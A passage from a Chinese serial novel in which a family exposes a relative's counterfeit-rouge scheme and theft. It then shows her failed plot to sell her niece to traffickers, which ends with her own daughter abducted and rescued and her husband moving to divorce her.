此话一出,那些不是从阁内购买产品的姑娘们,脸瞬间耷拉下来,那是不是意味着她们手里的胭脂全都不能用了。 这时,她们听到程诺又道:“至于那些买了来历不明胭脂的顾客,本店承诺,三日内可带着胭脂来落雁阁,我们免费帮你们鉴定真伪。” 一听这话,姑娘们失落的脸,再次恢复精神,喊道:“多谢落雁阁,我保证以后只来你们店里买,买不到我就排队等,再也不图省事给自己找麻烦了。” “我也是,还是店里买的让人心安,总不能花高价买个假货,银子花出去不说,还有烂脸的风险。” 接下来三日时间,落雁阁内人群络绎不绝,接近一半的人是来鉴定真伪的。 趁着机会,程诺挨个询问她们从什么渠道购买的劣质胭脂,最终发现里头大多数人购买渠道是一样的,都是从一名代号叫“今晚打老虎”的男人手中购置。 第一百九十章 落网 “小诺姐,找到今晚打老虎了。” 龙五带着手下一帮兄弟,在周遭几个镇转悠两天,终于在姑娘们说的几个常出没的地方,见到了卖劣质胭脂的人。 特地找人画了画像,带回来给程诺瞧。 这一瞧,程诺立刻发现问题所在,还是个熟人呢。 算起来,程诺还得叫他一声表弟。 “走,找我娘去!” 程诺带着画像和龙五,将这两日发生的事情跟程母仔细说了。 “你的意思是,你表弟冬临偷了店里的胭脂盒,在外头用劣质胭脂伪装成落雁阁的东西高价售卖?” 说到这儿,连程母也意识到事情不简单:“你三嫂在里头充当什么角色?没有她,冬临一个外人,怎么会知道店里的东西放在哪?” 程诺道:“不仅如此,店里最近常有银钱丢失,虽数额不大,但次数频繁,明显是出了内鬼,我怀疑这事也跟武氏脱不了关系!” 程母恨铁不成钢,气得直拍桌子:“把那个丢人现眼的东西给我揪过来!” “娘,不行。” “为什么不行?她手爪子不干净,人又懒,这回说什么不能轻易放了她。” 程诺解释:“捉贼拿脏,咱们现在没有证据,我有一个方法,或许可以试一试。” 她俯下身在程母耳边轻语,接着喊来顾寒栀和赵氏,几人在屋内商议许久,等开门出去时,见到门外角落一道匆匆闪过的身影,明黄的布料属实扎眼,一看就是新买的好缎子。 “我说她哪来的银子,这两天衣服不带重样的,原来是脏钱。”赵氏嗤笑一声。 “偷东西偷到自家人头上,到底是蠢,还是坏?”顾寒栀声音冷淡。 日暮西垂,一间瓦舍外。 明黄身影四下张望,叩响木门三声,很快门从里面打开,身影巧身闪入。 “你这两天没出去吧?”武春来看了眼散乱不已的桌面,上头灰尘遍布,过滤用的纱布红里发黑,显然不知用了多少回,更有数不清的草木灰落在案板四周,随着鞋底踩的屋内到处都是。 男人在另一张方桌前吃着肉,喝着小酒,闻言满不在乎敷衍道:“没有没有。” 武春来半信半疑:“你可别哄我,程四娘在调查假胭脂,没准哪天找到线索,就盯上咱们了。” 男人有着跟武春来六成像的五官,只是因为脸形过于细长,像是马脸,显得整个人脸大身子小,看起来颇为滑稽。 “查到就查到呗,一家人,她还能送我去见官?”武冬临满不在乎,细长的小拇指盖剔了剔牙,“啐”的一声,将牙缝里的碎肉吐在地上,“没准你跟她挑明了,她还想加入咱们,一起发财呢!” 武春来跟程四娘相处时间长,若换成半年前的程四娘,她敢冒险一试,现在的……武春来将程诺的身影从脑海中移除。 现在的程四娘六亲不认,更不会顾及跟她的血肉之情,薄情寡性得很。 “做你的春秋大梦吧!程四娘就是个贱人,有钱她只会自己偷偷地赚,我们这些亲戚喝口肉汤都得求着她。” 武冬临哈哈笑起来,就喜欢看她姐骂人的样子。 吃饱喝足站起身,拿出一张单子倨傲地拍在武春来面前,“瞧瞧这是什么?” 武春来识字不多,但在落雁阁待了一段时间,对下定用的单据还是有所了解的,定睛一瞧,竟然有人订了一百罐千日红。 “你不是说没出去吗?” 武冬临毫不在意地摆摆手:“不出门去哪赚银子,瞧瞧,这么一大笔订单,至少能赚这个数。” 他伸出五个手指,在武春来面前得意地晃了晃。 武春来觉得不对劲:“前两日的事闹得不小,这几天又有毁容的姑娘闹上门,这个档口,哪来的人一口气买一百盒千日红,不对劲。” 武冬临不以为意:“杞人忧天,你当我是傻子吗?你想的这些我会考虑不到?找上门的大客户看着眼生,听口音不是本地人,兴许是听到千日红的名声,特地找来清河镇,落雁阁买不到,只能找我咯,到时候运到别的地方高价卖出去,能赚不少钱呢!” 随即又道:“买原料要花钱,你再去账上拿点。” 武春来瞪大眼:“前两日刚赚了二十两银子呢?你花哪儿去了?” “二十两顶什么用?你身上的衣服不用钱啊?你手上的镯子不是钱吗?” “那也用不着二十两吧?你说实话,是不是喝花酒了?冬临,你媳妇还怀着身孕呢!” 武冬临被戳穿,面上有一瞬的不自在,“男人的事女人少插手,怀孕怎么了,怀孕我就得委屈自己?她不能伺候我,我还不能出门找乐子?” 武春来气得直喘气,怎么办呢,一个是家里独苗弟弟,一个是没血缘关系的弟妹,明知弟弟的做法不道德,她也无能为力。 要怪只怪弟妹没本事,抓不住男人的心,她若有能耐解决男人的需求,弟弟也不会出来找妓女。 “还有千日红的盒子也没了,再拿一百个过来。” 平日里武春来偷拿盒子,是趁着人少一点点偷藏的,一下子少了一百个盒子,看管库房的就是个傻子也能察觉不对劲吧。 “一百个,我怎么拿?” “想办法啊!我要是能进库房,还用得着你?姐,想想你新看上的金发簪,多动动脑子吧!” 金钱诱惑在前,亲弟弟催促在后,武春来没办法,只能硬着头皮上。 没想到一下子偷了一百个千日红罐子,竟没一人发现,几天下来店里风平浪静,武春来慌乱的心渐渐平复下来,胆子也跟着大起来。 两日后,一百罐‘千日红’完成,武冬临到约定的地点,等着赚得盆满钵满,今晚直接在青楼过夜,好好跟新认识的红锦姑娘温存温存。 没想到等着他的不是大客户,而是程诺,以及身后跟着的一帮衙役。 人赃并获,无可抵赖,武冬临被带到衙门审讯。 至于武春来,一开始抵死不认,奈何武冬临根本受不了刑,才打了七八棍,就把前因后果全交代了,并且指认武春来才是主谋,他是被逼迫协助的从犯。 武春来狡辩不了,也被带到了公堂,扒了裤子挨了杖刑。 据说,两姐弟在公堂上彼此破口大骂,互相诅咒,相互推卸责任,最后弄得新来的县太爷烦死了,直接把二人关进监牢。 程三虎听到消息赶回家时,已经有人先一步赶到程家。 还没踏进门,听到一声厉呵。 “四娘!你表弟身体不好,大牢不是人待的地方,你快去撤案,就说是搞错了,让他们把人放了!”武驰一路风尘仆仆赶过来,还带着大肚子的儿媳妇,压着儿媳妇跪在程诺面前。 武冬临的媳妇生得矮小,五个月的肚子,看起来像是七个月大,跪在地上磕头,头都挨不着地,看得程诺心惊,忙把人扶起来。 谁知武驰不让:“还不快给你表姐磕头,磕到她同意为止,难道你想孩子一出生就有个坐大牢的爹吗?” 小媳妇哭红了眼,跪也不是站也不是,只能一个劲儿地重复:“表姐行行好,放了孩儿他爹吧。” 见程诺不为所动,武驰径直坐在程家主位上,用命令的语气冲程诺和赵顾二人道:“你们爹娘呢?程三虎人呢?” 赵氏上前给他倒了杯茶,“娘去买菜了,爹在大梨村,暂时回不来,三虎我已经去了信,想来已经在回来路上。” 武驰冷哼一声,冷嘲热讽道:“赚了钱架子大了,不把我放在眼里,她们是不是忘了当初家里穷,程三虎娶不到媳妇,是她们求着让我把女儿嫁进程家的,现在好了,好好一个人,被你们送进大牢,说什么亲上加亲,你们就是这么对待亲人的吗?” 程诺解释道:“大舅,表姐偷盗店中财物,与表弟合谋打着正品的名号卖假售假,导致好几个姑娘烂了脸。不是我们要送他们进大牢,是他们不争气,咎由自取。” 武驰怒目圆瞪:“我儿子最乖巧,干不出这种事,中间一定有什么误会,罢了,现在不是纠结谁对谁错,把你弟弟捞出来才是关键,你现在就去衙门,把她们姐弟接出来,好好给他们道歉,因为你的鲁莽,她们在里面肯定没少吃苦!” 程诺嗤笑一声:“办不了,我想送谁进去谁就进去,我想接谁出来就接谁出来,你当衙门是我家开的?” 武驰喝茶的动作一顿,茶盏直接砸在程诺面前,摔得四分五裂的碎渣差点伤到她,幸好程三虎动作快,将程诺护在身后。 一见程三虎,武驰丝毫没察觉他拽紧双手上头冒出的青筋,像是看到救星:“三虎,你回来就好了,快劝劝你不像样的妹妹,把自家人送进公堂,畜生不如啊!” “你说谁是畜生?”程三虎的声音仿若来自地狱的寒冰,听得人后脊背发凉。 武驰一愣,一向老实憨厚的姑爷,头一次在面前展现骇人的神色,他呆住了片刻,意识到程三虎在护着程四娘,气不打一处来:“春来才是你媳妇,是给你生儿育女的人,程四娘一个被休弃的女人,不安分守己在家待着,成天挑拨你们夫妻二人的关系,这样的搅家精你还护着,程三虎,你有没有把我放在眼里!” 程三虎眼神冷淡,挺直腰杆表明态度:“媳妇可以不是媳妇,妹妹永远都是骨肉血亲的妹妹。” 言下之意,他可以不要武春来这个媳妇,但绝不会不要程四娘这个妹妹。 武驰气得要吐血,刚好这时看到买菜回来的程母,立马上前指责她没教好孩子。 本以为妹妹会在站在自己这边,谁知妹妹态度比程三虎还要坚决:“大哥,孩子犯了错就要受罚,你从小舍不得打骂冬临,养成他是非不分的性子,你不教他做人,自有官府教他处事。” “我的儿,我的儿,你脏心烂肺的姑母和表姐不是东西,把自家人送进公堂,畜生不如啊!”武驰见说不动,干脆撒起泼来。 “程四娘,冬临是你亲表弟,春来既是你表姐,又是你三嫂,俗话说长嫂如母,你敢把以子告母,有悖人伦,你混账!难怪春来回家总跟我抱怨,说你不知感恩,赚了点钱尾巴翘上天,用鼻孔看人,今天我算是瞧出来了,程家有你这么个搅家精,迟早要家破人亡!” 武驰指着程诺的鼻子痛骂,结果腰腹位置被人猛地一撞,人就这么斜着踉跄出去,摔倒在一旁柱子上,磕到脑袋疼得眼冒金星。 坐在地上哭嚎的冬临媳妇,声音像陡然顿住的二胡,费力从地上站起来,程诺想去扶她,结果被她一把推开:“不要你假好心,孩子他爹若有个三长两短,我跟你没完!” 得了,又是个蛮不讲理的。 冬临媳妇指着程母破口大骂,“你敢跟我公爹动手,难怪养出这种没教养的女儿,原来是上梁不正下梁歪!” 程母比冬临媳妇高出半个头,加上程家伙食好,站在她面前光气势碾压一成,她被刚才武驰大骂女儿的话气到了,又被个小辈教训,此刻像是个雌赳赳气昂昂,随时准备战斗的母鸡,呵斥起来: “你小姑子偷东西,你相公倒卖假货,你公爹为老不尊,你蛮不讲理,一家子不要脸的东西,好意思在我面前提教养?我女儿人美心善,看在一家人面子上,让武春来当胭脂铺的领班,顶着压力给她擦屁股,你真以为是她武春来的本事?我呸,没有我家四娘,她就是坨屎! 给狗一条骨头还知道摇尾巴,她们狗都不如,忘恩负义以怨报德,被抓进大牢是活该!” 程母拿起扫帚作势要赶人,赵氏见状屁颠屁颠也拿了一把,扫把空中挥舞得虎虎生风,十分唬人。 金玉站在一旁,满脸纠结,一方是外祖,一方是奶奶和小姑,帮谁都不好,帮谁另一方心里都不高兴。 干脆站着看白戏好了。 金玉年长,知道武氏犯了错,受罚是应该的,但珍珠年纪小,不明白为什么娘没回家,爹和小姑阿奶他们看着都很不高兴。 她想去问问娘什么时候回来,结果被小盼儿拉回房里,两人玩玩闹闹,有事情吸引注意力,珍珠很快将武氏抛诸脑后。 大盛的律法,偷盗是重罪,一两银子就可以打二十大板,每五两加一等。 武春来大大小小从落雁阁一共偷了十几两银子,本该至少打一百大板,程母嘴瘾心软,终究是替她缴纳罚金,并偿还偷盗银两。 官府只打了最少的二十板子,关上三天,以儆效尤,已经是额外开恩。 第一百九十一章 挑拨 至于武冬临,制假售假虽未致人死亡,但导致几人差点毁容,也属于重大过错,至少鞭笞六十,并偿还受害者,关上三个月。 亲戚一场,程母到底没狠下心,武春来从衙门出来那天,她还带着金玉和珍珠去门口接了人。 程三虎气恼得很,没有去衙门,却还是按照习俗准备了火盆和柳枝,替武春来除去晦气。 家里的菜式也比照前几日多加了几道,人人嘴上说着武春来是罪有应得,实际上还是给足了她体面,顾及近十年的家人之情。 只要此次武春来改过自新重新做人,大伙儿愿意接纳她,摒弃前嫌好好过日子。 可惜,有些人注定狗改不了吃屎,好心当成驴肝肺。 程母回来时,脸色比出门还糟糕。 程三虎朝程母身后张望,发现跟着回来的只有金玉,珍珠不见了。 “娘,春来呢?还有珍珠怎么不见了?” 程母眼里止不住的失落,连说话的力气都没了。 金玉气呼呼道:“娘带着妹妹回外公家了。” 程三虎:“岳丈也来接人了?” 提起这,金玉更生气:“没有!我劝说娘好久,她、她非说阿奶和小姑送她进监狱,全家都不是好人,假惺惺来接她是想看她笑话。” 赵氏气不打一处来:“我们忙前忙后,又是缴纳罚款,又是给她擦屁股,到头来成我们不是了?她怎么不怪她那个堂上翻脸无情的弟弟,还有那个重男轻女的爹呢?” —— 武家村。 一处半旧不新的土房外,满身脏污的武春来拍打着院门,喊:“爹,弟媳,开门啊,我回来了。” 门吱呀一声从里头打开。 怀孕的小妇人探出半个头,见到来人,脸色一喜,随即往她身后望去,却没见到想见的人。 她失落道:“姐,怎么就你跟珍珠回来了,冬临呢?” 武春来肚子饿得咕咕叫,地牢里黑夜不分,白昼不明,吃的是搜饭,喝的是雨水,吃不好睡不好,此时只想吃饱肚子大睡一觉,挥挥手不耐烦道:“他要关三个月,我饿了,你先给我弄点吃的。” 一听丈夫没回来,小姑却回娘家讨吃的,安氏脸色顿时拉了下来:“家里的钱全拿去打点衙门了,哪有闲钱给外人弄吃的,你不回程家,跑我家做什么?” “你说的什么话?我是武家人,回我自己家,什么时候轮到你一个外人置喙。”武春来面黄肌瘦,战斗力却依旧在线。 武春来比武冬临大八岁,母亲早逝,弟弟相当于她一手带大的,去年娶了媳妇,她没少背着程家人贴补。 安氏倒也乖顺,每次回娘家,对她态度还算恭敬,因此程诺安排她当落雁阁领班的时候,她第一反应把这个好消息告诉弟弟。 算起来,制假售假的主意还是武冬临想出来的,一开始二人没有本钱买原材料,也是武冬临教唆她去偷账上的钱,只是当时说的是“借用”,等赚了钱再还。 可实际情况是,越“借”越多,越拿胆子越大,还钱是不可能的。 谁想到公堂之上,弟弟会将罪名全部推到她一个人头上,想起来,武春来后槽牙咬得吱吱响。 幸好爹疼她,给她偿还了偷盗的钱,才免了她一百仗刑法。 正睡午觉的武驰听到动静,走到门口,看到武春来的瞬间,问出跟安氏一样的问题。 一听儿子没出来,烦躁不已。 “你回来做什么?还带个拖油瓶,”武驰不耐烦地摆手,“走走走,你弟弟还在大牢里,你怎么有脸回来?” 武春来听着父亲的话,虽心里不顺,但想到自己能安全出来,没有像武冬临一样关上三个月,一定是家里将银子花在她身上,没有闲钱再捞弟弟出来,思及此,武春来态度好了不少。 “爹,我怕你担心,回来看看你,三个月很快就过去了,您别担心弟弟。” 武驰冷哼一声,指着她的脸骂道:“都是你干的好事,若不是你教唆冬临搞什么胭脂,也不会有这场无妄之灾,公堂上,你为什么不揽下罪名,我武家就冬临一个男丁,你嫂子还怀有身孕,他若出了差池,我哪有脸去地底下见列祖列宗!” 武春来紧咬下唇,算是吞下委屈,任凭老头子发泄怒火,毕竟真正受益的人是她,弟弟还在牢里待着呢。 珍珠滴溜溜的眼珠子,一直在三个大人之间来回打量。 见母亲挨骂,外公和舅母明显不待见她们母女俩,出声道:“娘,我们什么时候回家,我想姐姐,想阿奶了。” 武春来瞪了她一眼,没好气地用手指头用力戳她脑门:“回什么家!这里就是你的家,程家人狼心狗肺,把你娘送进大牢,受了那么多苦,你到现在还惦记她们!” “不是娘你先犯错,才被抓走的吗?” “放屁!姓程的是不是在你面前说我坏话了,我就知道,那一家子都不是什么好东西!” 这番话,算是说到武驰心坎里,对女儿的脸色好上不少。 “你们俩被抓走时,我亲自舍弃老脸去求她们,你弟妹跪在地上哭得几乎断气,程四娘那贱人,铁心铁肺铁石心肠,一定要置你们于死地。她若肯替你们说两句话,将案件撤销,你弟哪还会受苦,你也不至于挨板子不是?” 安氏趁机挑拨:“姐,我受点委屈没关系,我是怕你和冬临在牢房里吃苦。程家根本没把你当自己人,包括程三虎,一句向着你的话都没说,反而把程四娘护在身后,公然跟公爹叫板,还把爹推倒了。” 武驰捂着腰直喊疼。 安氏再接再厉,“姐,比起冬临我更担心你,冬临是个男人皮糙肉厚,你却是个女子,现在榴花巷的人都知道程家三媳妇因为偷东西进了大牢,你名声彻底被程四娘毁了,以后走哪矮人一等,我都替你着急。” 程家让他孩子的爹留下污点,她也不会让程家人好过。 特别是程四娘,放过谁也不能放过她! 武春来对程诺本就满腔的恨意,心中听了安氏的话,怨恨和恼怒彻底在内心滋生,长成参天大树。 她不愿意回程家的原因,除了不想见程家人,也是怕被邻居看到了笑话。 落到今天的下场,是程母、程三虎,还有程四娘共同造成的。 武春来指甲掐进掌纹时,那点微不足道的刺痛开始繁殖,它在齿缝间发酵,随每一次吞咽滚成更大的硬块:“我不会放过她们的。” 武驰继续火上浇油:“别光说,你要是能给你弟出这口恶气,爹死了都瞑目。” 安氏:“要我说,想报复一个人,得抓住她的软肋,姐,你跟他们生活了这么多年,程家人的软肋是什么,你知道吗?” 软肋? 程父程母偏心小女儿,三个兄弟恨不得唯程四娘的命是从,只要程四娘不痛快了,程家谁也别想痛快。 程四娘的软肋是什么? 武春来脑海中闪过一个小小身影。 孩子,不就是父母最大的软肋吗? “爹,你是不是认识专门卖小孩的人牙子?” —— 程家这边,武春来的负气离开没有给全家带来多大的影响。 唯一担心的,是珍珠跟着亲娘会受委屈。 武驰是个什么样的人,程母再清楚不过,不会对珍珠这个外孙女多少好脸。 程母想好了,过两天就去武家村把珍珠接回来,至于武春来愿不愿意回来都随她。 没想到第二天,武驰先找上了门。 第一百九十二章 休了这个毒妇! 程母以为他又来找茬,没想到这回他态度蛮好,是来劝程家将武春来接回去的。 “妹子,春来毕竟已经嫁到程家,总待在娘家像什么话,”武驰打量着程家宅子,眼底里有羡慕和隐隐的嫉妒,“放着这么好的房子不住,跟我们挤在土房里,不知她怎么想的。” 程母皮笑肉不笑:“我没拦着不让她回,是她自己不愿意,心里怨恨我们。” 武驰笑道:“春来是你看着长大的,她什么性子你还不知道吗?这孩子嘴硬,她已经知道错了,就差你们给个台阶顺坡下驴,这样,你让三虎去接她回来,放心,我已经教训过她了,以后老实做人,违法乱纪的事绝不会再犯。” 亲哥话说到这份儿上,程母也不好再拿乔,家里事情多,分不出额外的心思在武春来身上。 大不了一切回到从前,武春来懒就懒点,别有坏心思,程家也能给她口饭吃,不会为难她。 程母答应武驰,送信给在大梨村的程三虎,尽快将武春来接回来。 武驰在程家吃了午饭才走,饭桌上多次望向程四娘和小盼儿,笑道:“盼儿长相随她娘,日后肯定也是个美人胚子。” 小盼儿记得上回武驰指着鼻子骂她娘的事,对武驰没什么好印象,头往另一侧一歪,只留给他一个后脑勺。 武驰:没礼貌的小兔崽子,等我把你卖给人牙子,看你还嚣张不嚣张得起来。 程三虎去接人那天,刚好遇上端午节,不少人家提前在程家定了粽子,今日陆续有人上门来拿,店里人多眼杂,时常有陌生人出没。 怕客人误闯进后院,后院连通前厅的大门一直是上锁的,家里人手一把钥匙。 武春来那把钥匙进大狱前落在程家没带走,她将屋子上锁的事,提前跟武驰通气,最后想出让程三虎来接人,然后半路要走他那把钥匙,只要武春来有不在程家的证明,就不会有人把程诺女儿失踪的事,跟她扯上关系。 事情按照设想进展很顺利,程三虎果真来接人,武春来心里惦记着事,没像往常般撒泼卖乖,路上一直很安静。 程三虎欣慰地以为她转了性子,以后真能老实本分,安分守己生活。 所以武春来在让他拿出后院钥匙,让他先回大梨村忙自己的活儿时,程三虎并未起疑,反倒觉得她懂事了。 “记住,卖到最远的南方去,越远越好!”武春来将钥匙交到她爹手中,眼里闪烁着恶毒的快意。 武驰:“放心,我已经将那妮子的特征跟人牙子说了,卖了十两银子呢!” 另一边,正在早餐铺子里忙前忙后的程诺,突然感觉胸口没来由的一阵心慌,一开始以为是前一晚熬夜配胭脂方子,没休息好,结果感觉越来越强烈,连赵氏也察觉到不对劲。 “四娘,这有我们,你忙一早上了,先去睡一会儿吧。” 程诺见端午准备的节礼售卖得差不多,想着躺一会儿也无妨,拿钥匙进了后院。 刚躺下,小盼儿凑过来,程诺立马觉得怀里钻进来一个小火炉,接着小火炉咳嗽两声。 程诺赶紧摸了摸女儿额头,竟有些发烫,再看小盼儿时,她的两腮通红,一副病恹恹的模样。 “生病了怎么不告诉娘?” 小盼儿喉咙疼,说话有气无力:“家里忙,小盼儿帮不上忙,不想给大家添乱。” 程诺心疼极了,忙给女儿穿衣服:“以后生病不许硬撑着,走,娘带你去医馆找大夫。” 济世堂最近忙,何桂香总往医馆跑,时常带着阿盼一起,现下都不在家里,程诺只能抱着女儿赶往医馆。 临出门前思考要不要锁上后院的门,想着家里其他都是大孩子,锁门本就是为了盼儿、珍珠和盼儿几个半大的小孩,如今孩子们都不在,锁不锁意义不大,谁还能跑到后院偷东西不成。 程诺匆匆离开,没想到在她走后不久,一个小身影走进程家,刚好来了波人流,没人注意到她的到来,小身影溜进后院,打算给某人一个惊喜。 “盼儿,盼儿,姐姐回来了。” “小盼儿,你在吗?” “金玉姐姐,与华姐姐,你们在家吗?” 珍珠在院里溜达两圈,没见到半个踪影,她原本是跟着爹娘一起回来的,结果半路上爹回了老家,娘折返外公家,她不想跟着一起回去,等爹走后不久,跟借口要去找爹,实则回了程家。 走了一路,珍珠脚酸背疼,爬上床直接睡了。 没想到刚睡熟没多久,一双粗糙的大手捂住口鼻,吓得她猛地从梦中惊醒,刚想呼救,嘴巴被东西堵住,头顶套上麻袋,天旋地转之间,彻底昏了过去。 “大哥,是不是这个,别弄错了。”男人沙哑的嗓音响起。 另一个年纪稍大些的男人,看了眼麻袋中的小姑娘,笃定道:“错不了,六七岁大小,院里只有这一个孩子,不是她是谁!” 年轻男人道:“不是说长得特好看吗?我瞧着也就中等之姿。” 年纪稍大的男人皱皱眉:“兴许是还小,没长开,过两年就好看了,不管怎么样,这一票都是赚的,这么大的女孩子卖到瓜州,至少这个数。” 两个男人相互掩护,伪装成运送瓜果的菜农,就这么把人神不知鬼不觉运上了车,鞭子一扬,出了镇门。 日落西山时,武春来开始坐立不安。 直到武驰带消息回来:“人送走了。” 武春来的一颗心才放到肚子里,这下整个人活络起来,起身回程家:“一场好戏要开场了,怎么能少了我这个看客。” 武驰积极得很:“我跟你一起回程家。” 安氏若不是怀着孩子不方便,说什么也要跟着一起去凑热闹的。 父女两来到榴花巷的程家。 院里挂着照明的红灯笼,静悄悄,并无特别之处。 武春来推门进去,一眼看到坐在廊下熬药的程诺,脸上扯出一抹笑,“小姑忙着呢……” 话刚说一半,突然看见一侧屋内走出的女孩,不是小盼儿是谁。 武春来如遭雷击,僵在原地。 程母见她回来,没好气道:“老三不是一早就去接你了吗?到现在才回来。” “怎么回事?”武春来猛地转头望向身后的武驰。 武驰也是一脸蒙:“人牙子说抓到人了,是个女孩,年岁也对得上,程家还有别的这个岁数的姑娘?” 当然是没有的,程家唯二的两个五六岁的女孩,除了小盼儿就是她的珍珠。 可珍珠不是跟程三虎一起回大梨村了吗? 难道…… 她没回去,而是回了程家! 人牙子拐走的是她的女儿! 一想到有这种可能,武春来疯了般往外走,恰好和刚从大梨村看望儿子回来的绿草撞上。 “绿草,珍珠今天去大梨村了吗?” 绿草摇头:“没有。” 武春来如遭雷劈,“不可能,你仔细想想,三虎回村的时候,我家珍珠没跟着一起吗?” 绿草不明所以,实话实说:“三虎兄弟确实回村了,但是一个人回来的,他说去武家村接你跟珍珠回家,怎么,珍珠没回来吗?” 武春来整个人像是被利剑贯穿心脏,一时间背脊发凉,连呼吸都忘了。 武驰望着像是被瞬间夺了魂魄的女儿,一双手止不住地颤抖:“难道,难道是珍珠被……” 武春来恶狠狠瞪了父亲一眼,用力抓住他的领子,质问:“不是说抓的程四娘的女儿,为什么成了珍珠?他们把我女儿送去哪儿了?” “这……我也不清楚,”武驰看到不远处程家人投来疑惑的目光,生怕女儿多说一句,引起程家人的注意,忙小声道:“你轻声些,当心被你婆家人听见。” 武春来此刻哪里还顾得上程家人,想到白日里叮嘱父亲的话: “记住,卖到最远的南方,越远越好!” 南方多秦楼楚馆,专豢养瘦马以供男人赏乐。 一旦进了鬼门关,再想出来难如登天啊! “啊!” 武春来一声凄厉的惨叫,发了疯冲出门,武驰跟着一起踉跄跑出去找人贩子。 可惜为时已晚,他找得人贩子的手后立即远走高飞,二人四处打听,却连一点消息都找不到。 事情很快传回榴花巷,听说珍珠被拐走了,程三虎马不停蹄赶回来,程诺立即联想到那日武春来见到盼儿时脸上的震惊,又听到三虎说后院钥匙的事,还有武驰鬼鬼祟祟不敢跟她对视的目光,心里顿时明白了七八分。 程诺找到失魂落魄的武春来,直视她红肿的双眼,“珍珠的事,你是不是原本打算用在小盼儿身上?” 武春来崩溃大哭,接着仰天大笑,活像个疯子,吓得家里的孩子躲进屋,生怕见了鬼。 “报应不爽,报应不爽,是我的错,为什么要报应在我孩子身上。” 见她承认,程诺难掩心中怒气,直接挥手一巴掌:“你该死。” 武春来也不反抗,“我该死,对,我该死。”她跪在地上抱住程诺的大腿,“四娘,我错了,我真的知道错了!你认识的人多,你本事大,求你帮我救救珍珠,她可是你亲侄女啊!” 程诺闭了闭眼,强压下心中的愤怒与悲哀。 无论如何,孩子是无辜的。 但武春来此人,狗改不了吃屎,经此一事,不管结局如何,都不能再留在程家。 接下来的日子,程诺动用所有人力财力找珍珠,去官府报案,凭借之前跟秦臻杉的关系,得到了衙门的重视。 可惜一连找了三四日,只从一个常去南方贩货的行商那里得到些许线索,路上见过一辆承载小孩的马车,里头有跟珍珠差不多年纪的姑娘,至于是不是同一个人,谁也不敢打包票。 官府的派人去找了,可人贩子不知是收到风声,还是双方中途错过,总之线索在此处断了。 再过几日,人送到南方,那里有千百家青楼楚馆,卖身契一签,届时就不是花钱能解决的事,珍珠一辈子都得戴上曾经是贱籍的帽子。 就在全家着急上火时,官府传信回来,准确说是程二顺带信回来了。 “二顺兄弟和十七兄弟此次立了大功,南方近日常有伪装大盛百姓的异族出没,朝廷怀疑年前跟胡族的大战,胡族人表面臣服,实则暗地偷学我朝廷训练水军技巧,为胡族提供情报。 这一次派遣两位兄弟,就是为了揪出那些心怀鬼胎的胡族人。两兄弟幸不辱命,不仅找出胡族人,还一剑射杀他们的领头人,剩下的异族四处逃窜,成不了什么气候。” 程家人听完,不知该从哪个方位磕头,感谢祖宗保佑。 谁也没想到程二顺和十七这次的任务竟然跟异族有关,难怪守口如瓶谁都不能说,是关乎国家兴亡,国之根本的大事。 连日来笼罩在程家上空的阴霾,终于消散些许,可惜依旧是阴雨连绵的糟糕心情,珍珠还没找到。 送信的官兵笑道:“诸位不用担心,喜事还没说完,二顺十七两兄弟回来途中,经过瓜州,巧得很碰上一伙儿职业拐子,解救了十几个不同地方偷来的小孩,其中就有你家孩子。” “果真?” 程母激动地喊出口,声音都劈叉了。 官兵:“错不了,十七兄弟亲手写的信,想必他们已经在回来路上了,用不了多久,就能全家团聚了。” 拨开云雾见天明,程三虎和程父程母喜极而泣,赵氏顾氏激动地抱在一处,程诺长舒一口气,孩子们也兴奋地直拍手。 当然,最高兴的肯定是武春来,她还是那副又哭又笑的样子。 “太好了,找回来了,我的珍珠回来了……” 程诺却不打算放过她,一而再则三,武春来的为人坏透了,程家给过机会,是她自己挑战全家的底线。 “爹娘,三哥……” 程父一抬手,阻止了她的话,“我知道你要说什么,接下来的事,你不要参与,我们心里有数。” 程诺毕竟是小姑,参与哥嫂之间的事,传出去会落人话柄,与她名声无益处。 程母吩咐赵氏将孩子们带下去,只留下金玉,她是武春来的女儿,有权利知道全家对她母亲的处置。 程三虎将二老请到主位上坐下,径直走到堂中跪下,用力磕了三个响头。 “砰砰砰” 声音洪亮,抬头时,额头已经红肿。 “爹娘,儿子不孝,娶了个心思歹毒的女人进门,给家里添麻烦,给祖上蒙羞,还差点连累四娘跟她的孩子。” 武春来跟着跪在地上磕了个头,只要珍珠能被找回来,挨几句骂就挨几句,哪怕被打两下,她忍一忍也就过了。 “爹娘,我知道错了,是我猪油蒙了心,走岔了路,以后再也不会了。” 程母声音前所未有的冷淡:“以后……你还想要以后。” 武春来心中警铃大作,什么意思,没有以后是什么意思? 程家难道赶她回娘家。 武春来瘪瘪嘴,回娘家就回娘家吧,反正她在程家待着也得看程四娘的脸色,大不了过些日子,风头过了,她再回来。 谁知下一秒听见程三虎气势如虹,坚定有力的声音: “家有歹妻,才致家宅不宁,儿子恳请爹娘应允,让我休了这个毒妇!” 一道晴天霹雳砸在武春来头上,好不容易缓和的心情,此刻震惊得五脏俱颤。 休妻? 程三虎要休了她? 他怎么敢,他怎么能休了她? 第一百九十三章 对峙,多行不义必自毙 “程三虎!我、我可是给你生了两个女儿的,”武春来此时才意识到问题的严重性,“你不能休了我,被休了的女人哪还有活路,我这把年纪,不会有人要的……” 可惜她的话落在程家人耳中跟放屁一样,谁都不会管她被休会怎么样,大伙儿只知道,程家不能有心思歹毒的儿媳妇,孩子们不能有为非作歹死不悔改的长辈。 武春来哭得眼泪鼻涕挂满半张脸,她视线在全场逡巡,试图找到一个人帮她说话。 赵顾二人嫌弃地撇开眼睛,连余光都舍不得施舍给她。 公爹公婆冷漠无情,看她的目光像是在看垃圾。 程三虎更不用说,休妻的话就是他提出来的,如今连看她一眼都觉得恶心。 金玉…… 她还有女儿金玉。 武春来手脚并用,爬到女儿跟前:“金玉,你帮娘求求情,你爹要是休了我,你就是没娘的孩子了,日后再娶了继母,家里哪还有你和珍珠的容身之所!” 金玉一早对母亲凉了心,家里给了她多少次改过自新的机会,母亲一而再再而三犯错,从不自省,这次更是把主意打到盼儿妹妹身上。 她也是有女儿的人,难道不知道女孩子被卖到瓜州会是什么结果吗? “娘,人在做天在看。”金玉只说了一句,退到程诺身后,态度很明确了,她是不可能帮武春来说话的。 武春来见程诺一副将金玉护在身后的模样,气红了眼:“小贱蹄子!我才是你娘!你向着外人,对付你亲娘,你狼心狗肺,我怎么生了你这么个白眼狼!” 